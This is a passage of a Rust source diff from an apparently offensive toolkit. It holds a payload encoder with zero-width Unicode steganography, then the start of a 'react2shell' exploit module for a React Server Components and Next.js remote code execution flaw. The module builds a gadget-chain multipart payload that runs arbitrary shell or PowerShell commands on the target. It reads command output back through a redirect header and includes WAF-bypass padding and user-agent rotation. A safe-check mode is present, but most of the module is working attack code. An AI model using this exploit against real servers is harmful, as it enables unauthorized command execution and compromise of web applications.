println!("{}", "\n[!] WARNING: Output contains INVISIBLE zero-width Unicode characters!".yellow().bold());
|
||||
println!("{}", "[!] The characters below are invisible but contain your encoded data.".yellow());
|
||||
println!("{}", "[!] They have been copied to clipboard as actual invisible Unicode characters.\n".yellow());
|
||||
|
||||
// Show a visual representation
|
||||
println!("{} {}", "Visualization:".bright_cyan(), visualize_zero_width(&result).bright_magenta());
|
||||
println!();
|
||||
println!("{}", "[Invisible Unicode characters copied to clipboard]".bright_white());
|
||||
} else {
|
||||
println!("{}", result.bright_white());
|
||||
}
|
||||
|
||||
if result.len() > 200 {
|
||||
println!();
|
||||
println!("{} {} chars", "[+] Length:".green(), result.len());
|
||||
} else {
|
||||
println!();
|
||||
println!("{} {} chars", "[+] Length:".green(), result.len());
|
||||
}
|
||||
|
||||
// Show some stats
|
||||
let compressed_ratio = if input_length > 0 {
|
||||
format!("{:.1}%", (result.len() as f64 / input_length as f64) * 100.0)
|
||||
} else {
|
||||
"N/A".to_string()
|
||||
};
|
||||
|
||||
println!("{} {}", "[+] Size ratio:".green(), compressed_ratio);
|
||||
println!("{}", "─".repeat(70).bright_black());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn handle_output(output: String) -> Result<()> {
|
||||
// Detect clipboard system
|
||||
let clipboard_type = detect_clipboard_system().await;
|
||||
|
||||
// Ask about clipboard
|
||||
match clipboard_type {
|
||||
ClipboardType::X11 => {
|
||||
print!("{}", "\nCopy to clipboard (xclip)? [y/N]: ".bright_green());
|
||||
}
|
||||
ClipboardType::Wayland => {
|
||||
print!("{}", "\nCopy to clipboard (wl-copy)? [y/N]: ".bright_green());
|
||||
}
|
||||
ClipboardType::None => {
|
||||
println!("{}", "\n[!] No clipboard tool found (install xclip or wl-clipboard)".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
if !matches!(clipboard_type, ClipboardType::None) {
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
|
||||
if choice.trim().eq_ignore_ascii_case("y") {
|
||||
if copy_to_clipboard(&output, clipboard_type).await? {
|
||||
if output.chars().any(|c| matches!(c, '\u{200B}'..='\u{200F}' | '\u{2060}' | '\u{FEFF}' | '\u{034F}')) {
|
||||
println!("{}", "[+] ✓ Invisible zero-width Unicode characters copied to clipboard!".green().bold());
|
||||
println!("{}", "[!] The clipboard now contains truly invisible encoded data.".bright_black());
|
||||
} else {
|
||||
println!("{}", "[+] ✓ Copied to clipboard!".green().bold());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Failed to copy to clipboard".red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Ask about saving to file
|
||||
print!("{}", "\nSave to file? [y/N]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
|
||||
if choice.trim().eq_ignore_ascii_case("y") {
|
||||
save_to_file(&output).await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn ask_continue() -> Result<bool> {
|
||||
print!("{}", "\nEncode another payload? [Y/n]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
|
||||
Ok(!choice.trim().eq_ignore_ascii_case("n"))
|
||||
}
|
||||
|
||||
async fn detect_clipboard_system() -> ClipboardType {
|
||||
// Check for Wayland first
|
||||
if let Ok(output) = Command::new("which")
|
||||
.arg("wl-copy")
|
||||
.output()
|
||||
.await
|
||||
{
|
||||
if output.status.success() {
|
||||
return ClipboardType::Wayland;
|
||||
}
|
||||
}
|
||||
|
||||
// Check for X11
|
||||
if let Ok(output) = Command::new("which")
|
||||
.arg("xclip")
|
||||
.output()
|
||||
.await
|
||||
{
|
||||
if output.status.success() {
|
||||
return ClipboardType::X11;
|
||||
}
|
||||
}
|
||||
|
||||
ClipboardType::None
|
||||
}
|
||||
|
||||
async fn copy_to_clipboard(text: &str, clipboard_type: ClipboardType) -> Result<bool> {
|
||||
// Ensure we copy the raw Unicode characters, especially for zero-width encoding
|
||||
// The text should already contain the correct UTF-8 encoded characters
|
||||
match clipboard_type {
|
||||
ClipboardType::X11 => copy_to_clipboard_x11(text).await,
|
||||
ClipboardType::Wayland => copy_to_clipboard_wayland(text).await,
|
||||
ClipboardType::None => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
async fn copy_to_clipboard_x11(text: &str) -> Result<bool> {
|
||||
// Use UTF-8 encoding explicitly and ensure proper handling of Unicode characters
|
||||
let mut child = Command::new("xclip")
|
||||
.arg("-selection")
|
||||
.arg("clipboard")
|
||||
.arg("-t")
|
||||
.arg("text/plain;charset=utf-8")
|
||||
.stdin(std::process::Stdio::piped())
|
||||
.spawn()
|
||||
.context("Failed to spawn xclip")?;
|
||||
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
// Write as UTF-8 bytes to preserve Unicode characters including zero-width ones
|
||||
stdin.write_all(text.as_bytes()).await?;
|
||||
stdin.shutdown().await?;
|
||||
}
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
async fn copy_to_clipboard_wayland(text: &str) -> Result<bool> {
|
||||
// Explicitly set MIME type for proper Unicode handling
|
||||
let mut child = Command::new("wl-copy")
|
||||
.arg("-t")
|
||||
.arg("text/plain;charset=utf-8")
|
||||
.stdin(std::process::Stdio::piped())
|
||||
.spawn()
|
||||
.context("Failed to spawn wl-copy")?;
|
||||
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
// Write UTF-8 bytes to preserve zero-width Unicode characters
|
||||
stdin.write_all(text.as_bytes()).await?;
|
||||
stdin.shutdown().await?;
|
||||
}
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
async fn save_to_file(content: &str) -> Result<()> {
|
||||
let default_name = "encoded_payload.txt";
|
||||
|
||||
print!("{} [{}]: ",
|
||||
"Enter filename".bright_green(),
|
||||
default_name.bright_black()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut filename = String::new();
|
||||
io::stdin().read_line(&mut filename)?;
|
||||
let filename = filename.trim();
|
||||
|
||||
// Prevent path traversal: only use the filename component, strip directory separators
|
||||
let safe_filename = if filename.is_empty() {
|
||||
default_name.to_string()
|
||||
} else {
|
||||
Path::new(filename)
|
||||
.file_name()
|
||||
.and_then(|f| f.to_str())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| {
|
||||
// If filename extraction fails, sanitize by removing path separators
|
||||
filename.replace('/', "_").replace('\\', "_")
|
||||
})
|
||||
};
|
||||
|
||||
fs::write(&safe_filename, content)
|
||||
.await
|
||||
.context("Failed to write file")?;
|
||||
|
||||
println!("{} {}", "[+] ✓ Saved to:".green().bold(), safe_filename.bright_white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// ENCODING FUNCTIONS
|
||||
// ============================================================================
|
||||
|
||||
fn encode_base16(data: &[u8]) -> String {
|
||||
let mut result = String::with_capacity(data.len() * 2);
|
||||
for &byte in data {
|
||||
result.push_str(&format!("{:02X}", byte));
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
fn encode_url(text: &str) -> String {
|
||||
// Worst case: all bytes encoded as %XX (3 chars per byte)
|
||||
let mut result = String::with_capacity(text.len() * 3);
|
||||
|
||||
for byte in text.as_bytes() {
|
||||
match *byte {
|
||||
b' ' => result.push('+'),
|
||||
// RFC 3986 unreserved characters (all ASCII, so byte-to-char cast is safe)
|
||||
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
|
||||
// Safe: these are all ASCII characters (0-127), so byte as char is valid
|
||||
result.push(*byte as char);
|
||||
}
|
||||
// All other bytes (including multi-byte UTF-8 sequences) are percent-encoded
|
||||
_ => {
|
||||
result.push('%');
|
||||
result.push_str(&format!("{:02X}", byte));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn encode_shell_escape(text: &str) -> String {
|
||||
// Estimate capacity: most characters don't need escaping, but escaped ones double in size
|
||||
let mut result = String::with_capacity(text.len() * 2);
|
||||
|
||||
for c in text.chars() {
|
||||
match c {
|
||||
// Critical: space and asterisk must be escaped to prevent command injection
|
||||
' ' | '*' | '$' | '`' | '|' | '&' | ';' | '>' | '<' | '(' | ')' | '{' | '}' | '[' | ']' | ',' | '?' | '~' | '!' | '#' => {
|
||||
result.push('\\');
|
||||
result.push(c);
|
||||
}
|
||||
'"' => result.push_str("\\\""),
|
||||
'\'' => result.push_str("\\'"),
|
||||
'\\' => result.push_str("\\\\"),
|
||||
'\n' => result.push_str("\\n"),
|
||||
'\r' => result.push_str("\\r"),
|
||||
'\t' => result.push_str("\\t"),
|
||||
_ => result.push(c),
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn encode_html(text: &str) -> String {
|
||||
// Worst case: all '&' characters become "&" (5 chars each)
|
||||
// Other encoded chars are shorter, but this is the worst case
|
||||
let mut result = String::with_capacity(text.len() * 5);
|
||||
|
||||
for c in text.chars() {
|
||||
match c {
|
||||
'&' => result.push_str("&"),
|
||||
'<' => result.push_str("<"),
|
||||
'>' => result.push_str(">"),
|
||||
'"' => result.push_str("""),
|
||||
'\'' => result.push_str("'"),
|
||||
'/' => result.push_str("/"),
|
||||
_ => result.push(c),
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// ZERO-WIDTH UNICODE STEGANOGRAPHY
|
||||
// ============================================================================
|
||||
|
||||
/// Zero-width Unicode characters for invisible steganography
|
||||
/// These characters don't render visually but can store binary data
|
||||
const ZERO_WIDTH_CHARS: [char; 8] = [
|
||||
'\u{200B}', // Zero-width space (ZWSP) - represents 000
|
||||
'\u{200C}', // Zero-width non-joiner (ZWNJ) - represents 001
|
||||
'\u{200D}', // Zero-width joiner (ZWJ) - represents 010
|
||||
'\u{200E}', // Left-to-right mark (LTRM) - represents 011
|
||||
'\u{200F}', // Right-to-left mark (RTLM) - represents 100
|
||||
'\u{2060}', // Word joiner (WJ) - represents 101
|
||||
'\u{FEFF}', // Zero-width no-break space (BOM) - represents 110
|
||||
'\u{034F}', // Combining grapheme joiner (CGJ) - represents 111
|
||||
];
|
||||
|
||||
fn encode_zero_width(data: &[u8]) -> String {
|
||||
// Calculate exact capacity: (total_bits + 2) / 3 rounded up
|
||||
// Each byte contributes 8 bits, each char takes 3 bits
|
||||
let total_bits = data.len() as u64 * 8;
|
||||
let estimated_chars = ((total_bits + 2) / 3) as usize;
|
||||
let mut result = String::with_capacity(estimated_chars);
|
||||
|
||||
let mut buffer: u32 = 0;
|
||||
let mut bits_in_buffer = 0;
|
||||
|
||||
for &byte in data {
|
||||
// Add byte to buffer (shift left by 8, add byte)
|
||||
buffer = (buffer << 8) | (byte as u32);
|
||||
bits_in_buffer += 8;
|
||||
|
||||
// Extract 3-bit chunks while we have at least 3 bits
|
||||
while bits_in_buffer >= 3 {
|
||||
bits_in_buffer -= 3;
|
||||
// Extract highest 3 bits (MSB first for proper encoding)
|
||||
let bit_value = ((buffer >> bits_in_buffer) & 0x07) as usize;
|
||||
result.push(ZERO_WIDTH_CHARS[bit_value]);
|
||||
}
|
||||
}
|
||||
|
||||
// Handle remaining bits (less than 3 bits in buffer)
|
||||
// Pad with zeros to make exactly 3 bits for the final character
|
||||
if bits_in_buffer > 0 {
|
||||
// Shift the remaining bits to the left to align with MSB of 3-bit chunk
|
||||
// Then mask to get exactly 3 bits (padding with zeros on the right)
|
||||
let padded_bits = (buffer << (3 - bits_in_buffer)) & 0x07;
|
||||
let bit_value = padded_bits as usize;
|
||||
result.push(ZERO_WIDTH_CHARS[bit_value]);
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn visualize_zero_width(text: &str) -> String {
|
||||
let mut result = String::with_capacity(text.len() * 5); // Each char becomes ~5 chars
|
||||
|
||||
for ch in text.chars() {
|
||||
match ch {
|
||||
'\u{200B}' => result.push_str("[000]"),
|
||||
'\u{200C}' => result.push_str("[001]"),
|
||||
'\u{200D}' => result.push_str("[010]"),
|
||||
'\u{200E}' => result.push_str("[011]"),
|
||||
'\u{200F}' => result.push_str("[100]"),
|
||||
'\u{2060}' => result.push_str("[101]"),
|
||||
'\u{FEFF}' => result.push_str("[110]"),
|
||||
'\u{034F}' => result.push_str("[111]"),
|
||||
_ => result.push_str(&format!("[{:04X}]", ch as u32)),
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod react2shell;
|
||||
|
||||
@@ -0,0 +1,986 @@
|
||||
//! React Server Components RCE (CVE-2025-55182, CVE-2025-66478)
|
||||
//!
|
||||
//! Advanced implementation using the correct exploit chain with:
|
||||
//! - Multi-chunk payload structure (5 chunks: 0-4)
|
||||
//! - Gadget chain: $3:constructor:constructor → Function()
|
||||
//! - Output exfiltration via X-Action-Redirect header
|
||||
//! - Safe-check mode for vulnerability detection without RCE
|
||||
//! - Windows PowerShell support
|
||||
//! - WAF bypass options
|
||||
//!
|
||||
//! Detects and exploits unauthenticated Remote Code Execution vulnerabilities in React Server Components
|
||||
//! and Next.js through insecure deserialization in the RSC Flight protocol.
|
||||
//!
|
||||
//! References:
|
||||
//! - https://nextjs.org/blog/CVE-2025-66478
|
||||
//! - https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
|
||||
//! - https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive
|
||||
//! - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/
|
||||
//! - https://github.com/assetnote/react2shell-scanner
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use rand::prelude::*;
|
||||
use rand::rng;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
const BOUNDARY: &str = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
|
||||
|
||||
const BANNER: &str = r#"
|
||||
╔══════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███████╗ █████╗ ██████╗████████╗
|
||||
║ ██╔══██╗██║ ██║████╗ ██║ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝
|
||||
║ ██████╔╝██║ █╗ ██║██╔██╗ ██║ ██ ██████╔╝█████╗ ███████║██║ ██║
|
||||
║ ██╔═══╝ ██║███╗██║██║╚██╗██║ ██╔══██╗██╔══╝ ██╔══██║██║ ██║
|
||||
║ ██║ ╚███╔███╔╝██║ ╚████║ ██║ ██║███████╗██║ ██║╚██████╗ ██║
|
||||
║ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝
|
||||
║ ║
|
||||
║ ██████╗██╗ ██╗███████╗██╗ ██╗ ║
|
||||
║ ██╔════╝██║ ██║██╔════╝██║ ██║ ║
|
||||
║ ███████╗███████║█████╗ ██║ ██║ ║
|
||||
║ ╚════██║██╔══██║██╔══╝ ██║ ██║ ║
|
||||
║ ███████║██║ ██║███████╗███████╗███████╗ ║
|
||||
║ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ║
|
||||
║ ║
|
||||
╚══════════CVE-2025-55182 CVE-2025-66478 <-> React-Next.js RCE════════╝
|
||||
"#;
|
||||
|
||||
/// Exploit configuration
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ExploitConfig {
|
||||
pub target: String,
|
||||
pub proxy: Option<String>,
|
||||
pub verify_ssl: bool,
|
||||
pub verbose: bool,
|
||||
pub timeout: u64,
|
||||
pub custom_headers: Vec<(String, String)>,
|
||||
pub random_agent: bool,
|
||||
pub use_color: bool,
|
||||
pub windows_mode: bool,
|
||||
pub waf_bypass: bool,
|
||||
pub waf_bypass_size_kb: usize,
|
||||
pub target_path: String,
|
||||
}
|
||||
|
||||
impl Default for ExploitConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target: String::new(),
|
||||
proxy: None,
|
||||
verify_ssl: true,
|
||||
verbose: false,
|
||||
timeout: DEFAULT_TIMEOUT_SECS,
|
||||
custom_headers: Vec::new(),
|
||||
random_agent: false,
|
||||
use_color: true,
|
||||
windows_mode: false,
|
||||
waf_bypass: false,
|
||||
waf_bypass_size_kb: 128,
|
||||
target_path: "/".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Result of an exploit attempt
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ExploitResult {
|
||||
pub url: String,
|
||||
pub status: Option<u16>,
|
||||
pub vulnerable: bool,
|
||||
pub command_output: Option<String>,
|
||||
pub response_headers: Vec<(String, String)>,
|
||||
pub response_body: String,
|
||||
}
|
||||
|
||||
const USER_AGENTS: &[&str] = &[
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
];
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", BANNER.red().bold());
|
||||
}
|
||||
|
||||
fn get_random_user_agent() -> &'static str {
|
||||
let mut r = rng();
|
||||
USER_AGENTS.choose(&mut r).unwrap_or(&USER_AGENTS[0])
|
||||
}
|
||||
|
||||
/// URL decode a string
|
||||
fn url_decode(input: &str) -> String {
|
||||
let mut result = String::new();
|
||||
let mut chars = input.chars().peekable();
|
||||
|
||||
while let Some(ch) = chars.next() {
|
||||
if ch == '%' {
|
||||
let hex: String = chars.by_ref().take(2).collect();
|
||||
if let Ok(byte) = u8::from_str_radix(&hex, 16) {
|
||||
result.push(byte as char);
|
||||
} else {
|
||||
result.push('%');
|
||||
result.push_str(&hex);
|
||||
}
|
||||
} else if ch == '+' {
|
||||
result.push(' ');
|
||||
} else {
|
||||
result.push(ch);
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// URL encode a string for use in JavaScript
|
||||
fn js_encode(input: &str) -> String {
|
||||
input
|
||||
.replace('\\', "\\\\")
|
||||
.replace('\'', "\\'")
|
||||
.replace('"', "\\\"")
|
||||
.replace('\n', "\\n")
|
||||
.replace('\r', "\\r")
|
||||
}
|
||||
|
||||
/// Create the correct CVE-2025-55182 exploit payload
|
||||
/// Based on Wiz Research verified PoC structure
|
||||
///
|
||||
/// Payload structure:
|
||||
/// - Chunk 0: Entry point, references chunk 1
|
||||
/// - Chunk 1: Fake chunk object with gadget references
|
||||
/// - Chunk 2: Raw chunk reference ($@3) for Promise-like behavior
|
||||
/// - Chunk 3: Empty array for constructor chain access
|
||||
/// - Chunk 4: Response-like object with _prefix (code) and _formData.get (Function())
|
||||
fn create_rce_payload(command: &str, is_windows: bool) -> String {
|
||||
// JavaScript code to execute shell command and return output via redirect
|
||||
// The output appears in X-Action-Redirect header as /login?a=<output>
|
||||
let js_code = if is_windows {
|
||||
format!(
|
||||
"var r=require('child_process').execSync('powershell -c \"{}\"').toString();throw new Error('/login?a='+encodeURIComponent(r))//",
|
||||
js_encode(command)
|
||||
)
|
||||
} else {
|
||||
format!(
|
||||
"var r=require('child_process').execSync('{}').toString();throw new Error('/login?a='+encodeURIComponent(r))//",
|
||||
js_encode(command)
|
||||
)
|
||||
};
|
||||
|
||||
// Escape for JSON embedding
|
||||
let js_escaped = js_code.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
|
||||
// Chunk 1: Fake chunk object
|
||||
// - status: "resolved_model" makes the deserializer process it as a model
|
||||
// - reason: 0 is required
|
||||
// - _response: "$4" references our crafted response object
|
||||
// - value: JSON with "then" pointing to $3:map which triggers promise chain
|
||||
// - then: "$2:then" triggers the promise resolution
|
||||
let chunk_1 = r#"{"status":"resolved_model","reason":0,"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}"#;
|
||||
|
||||
// Chunk 2: Raw chunk reference - $@3 tells deserializer to treat as Promise
|
||||
let chunk_2 = "$@3";
|
||||
|
||||
// Chunk 3: Empty array - used to access Array.constructor.constructor = Function()
|
||||
let chunk_3 = "[]";
|
||||
|
||||
// Chunk 4: Response-like object
|
||||
// - _prefix: Our JavaScript code to execute
|
||||
// - _formData.get: Points to $3:constructor:constructor = Function()
|
||||
// - _chunks: Required for internal linkage
|
||||
let chunk_4 = format!(
|
||||
r#"{{"_prefix":"{}","_formData":{{"get":"$3:constructor:constructor"}},"_chunks":"$2:_response:_chunks"}}"#,
|
||||
js_escaped
|
||||
);
|
||||
|
||||
// Build multipart body
|
||||
let mut body = String::new();
|
||||
|
||||
// Chunk 0 - entry point
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"0\"\r\n\r\n");
|
||||
body.push_str("$1\r\n");
|
||||
|
||||
// Chunk 1 - fake chunk object
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"1\"\r\n\r\n");
|
||||
body.push_str(chunk_1);
|
||||
body.push_str("\r\n");
|
||||
|
||||
// Chunk 2 - raw chunk reference
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"2\"\r\n\r\n");
|
||||
body.push_str(chunk_2);
|
||||
body.push_str("\r\n");
|
||||
|
||||
// Chunk 3 - empty array
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"3\"\r\n\r\n");
|
||||
body.push_str(chunk_3);
|
||||
body.push_str("\r\n");
|
||||
|
||||
// Chunk 4 - response object with exploit
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"4\"\r\n\r\n");
|
||||
body.push_str(&chunk_4);
|
||||
body.push_str("\r\n");
|
||||
|
||||
// Terminating boundary
|
||||
body.push_str(&format!("------{}--", BOUNDARY));
|
||||
|
||||
body
|
||||
}
|
||||
|
||||
/// Create payload with WAF bypass (prepend junk data)
|
||||
fn create_rce_payload_with_waf_bypass(command: &str, is_windows: bool, junk_size_kb: usize) -> String {
|
||||
let mut body = String::new();
|
||||
|
||||
// Add junk data first to bypass WAF content inspection
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"junk\"\r\n\r\n");
|
||||
body.push_str(&"x".repeat(junk_size_kb * 1024));
|
||||
body.push_str("\r\n");
|
||||
|
||||
// Append the actual exploit payload (without initial boundary since we already have one)
|
||||
let exploit = create_rce_payload(command, is_windows);
|
||||
// Skip the first boundary from the exploit since we're appending
|
||||
if let Some(pos) = exploit.find("\r\n") {
|
||||
body.push_str(&exploit[pos + 2..]);
|
||||
} else {
|
||||
body.push_str(&exploit);
|
||||
}
|
||||
|
||||
body
|
||||
}
|
||||
|
||||
/// Create safe-check payload that triggers detectable error without RCE
|
||||
/// This exploits the property resolution bug: {}.a.a -> undefined.a -> 500 error
|
||||
fn create_safe_check_payload() -> String {
|
||||
let mut body = String::new();
|
||||
|
||||
// Chunk 1 - empty object
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"1\"\r\n\r\n");
|
||||
body.push_str("{}\r\n");
|
||||
|
||||
// Chunk 0 - reference that causes undefined.a error
|
||||
body.push_str(&format!("------{}\r\n", BOUNDARY));
|
||||
body.push_str("Content-Disposition: form-data; name=\"0\"\r\n\r\n");
|
||||
body.push_str("[\"$1:a:a\"]\r\n");
|
||||
|
||||
// Terminating boundary
|
||||
body.push_str(&format!("------{}--", BOUNDARY));
|
||||
|
||||
body
|
||||
}
|
||||
|
||||
/// Extract command output from X-Action-Redirect header
|
||||
fn extract_output_from_redirect(headers: &[(String, String)], body: Option<&str>) -> Option<String> {
|
||||
// First try headers
|
||||
for (name, value) in headers {
|
||||
if name.eq_ignore_ascii_case("x-action-redirect") {
|
||||
// Look for /login?a=<output> pattern
|
||||
if let Some(pos) = value.find("/login?a=") {
|
||||
let output = &value[pos + 9..];
|
||||
return Some(url_decode(output));
|
||||
}
|
||||
// Also check for just ?a= pattern
|
||||
if let Some(pos) = value.find("?a=") {
|
||||
let output = &value[pos + 3..];
|
||||
return Some(url_decode(output));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: Check response body (RSC flight stream)
|
||||
// Pattern is often: "NEXT_REDIRECT;push;/login?a=<OUTPUT>;..."
|
||||
if let Some(body_text) = body {
|
||||
if let Some(pos) = body_text.find("/login?a=") {
|
||||
let remainder = &body_text[pos + 9..];
|
||||
// Find the end of the URL/data - usually semi-colon or quote or newline
|
||||
let end_pos = remainder.find(|c| c == ';' || c == '"' || c == '\n').unwrap_or(remainder.len());
|
||||
let output = &remainder[..end_pos];
|
||||
return Some(url_decode(output));
|
||||
}
|
||||
// Less specific fallback
|
||||
if let Some(pos) = body_text.find("?a=") {
|
||||
let remainder = &body_text[pos + 3..];
|
||||
let end_pos = remainder.find(|c| c == ';' || c == '"' || c == '\n').unwrap_or(remainder.len());
|
||||
let output = &remainder[..end_pos];
|
||||
return Some(url_decode(output));
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Check if response indicates vulnerability (for safe-check mode)
|
||||
fn is_vulnerable_response(status: u16, body: &str) -> bool {
|
||||
// Vulnerable if: 500 status code AND body contains E{"digest"
|
||||
status == 500 && body.contains("E{\"digest\"")
|
||||
}
|
||||
|
||||
/// Execute a command on the target
|
||||
async fn execute_command(
|
||||
client: &Client,
|
||||
url: &str,
|
||||
command: &str,
|
||||
config: &ExploitConfig,
|
||||
) -> Result<ExploitResult> {
|
||||
let body = if config.waf_bypass {
|
||||
create_rce_payload_with_waf_bypass(command, config.windows_mode, config.waf_bypass_size_kb)
|
||||
} else {
|
||||
create_rce_payload(command, config.windows_mode)
|
||||
};
|
||||
|
||||
let user_agent = if config.random_agent {
|
||||
get_random_user_agent()
|
||||
} else {
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
|
||||
};
|
||||
|
||||
let parsed_url = reqwest::Url::parse(url)?;
|
||||
let host = parsed_url.host_str()
|
||||
.map(|h| {
|
||||
if let Some(port) = parsed_url.port() {
|
||||
format!("{}:{}", h, port)
|
||||
} else {
|
||||
h.to_string()
|
||||
}
|
||||
})
|
||||
.unwrap_or_else(|| "localhost".to_string());
|
||||
|
||||
let mut request = client.post(url)
|
||||
.header("Host", &host)
|
||||
.header("Content-Type", format!("multipart/form-data; boundary=----{}", BOUNDARY))
|
||||
.header("Next-Action", "x")
|
||||
.header("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
|
||||
.header("X-Nextjs-Request-Id", "b5dce965")
|
||||
.header("X-Nextjs-Html-Request-Id", "SSTMXm7OJ_g0Ncx6jpQt9")
|
||||
.header("User-Agent", user_agent)
|
||||
.header("Accept", "*/*")
|
||||
.header("Accept-Language", "en-US,en;q=0.9");
|
||||
|
||||
// Add custom headers
|
||||
for (key, value) in &config.custom_headers {
|
||||
request = request.header(key, value);
|
||||
}
|
||||
|
||||
let response = request
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send exploit request")?;
|
||||
|
||||
let status = response.status().as_u16();
|
||||
|
||||
// Collect headers
|
||||
let mut response_headers = Vec::new();
|
||||
for (name, value) in response.headers() {
|
||||
if let Ok(header_str) = value.to_str() {
|
||||
response_headers.push((name.to_string(), header_str.to_string()));
|
||||
}
|
||||
}
|
||||
|
||||
let response_body = response.text().await.context("Failed to read response")?;
|
||||
|
||||
// Extract output from X-Action-Redirect header or body
|
||||
let command_output = extract_output_from_redirect(&response_headers, Some(&response_body));
|
||||
|
||||
// Check if vulnerable based on output or status
|
||||
let vulnerable = command_output.is_some() || is_vulnerable_response(status, &response_body);
|
||||
|
||||
Ok(ExploitResult {
|
||||
url: url.to_string(),
|
||||
status: Some(status),
|
||||
vulnerable,
|
||||
command_output,
|
||||
response_headers,
|
||||
response_body,
|
||||
})
|
||||
}
|
||||
|
||||
/// Safe vulnerability check (no RCE execution)
|
||||
async fn safe_check_vulnerability(
|
||||
client: &Client,
|
||||
url: &str,
|
||||
config: &ExploitConfig,
|
||||
) -> Result<ExploitResult> {
|
||||
let body = create_safe_check_payload();
|
||||
|
||||
let user_agent = if config.random_agent {
|
||||
get_random_user_agent()
|
||||
} else {
|
||||
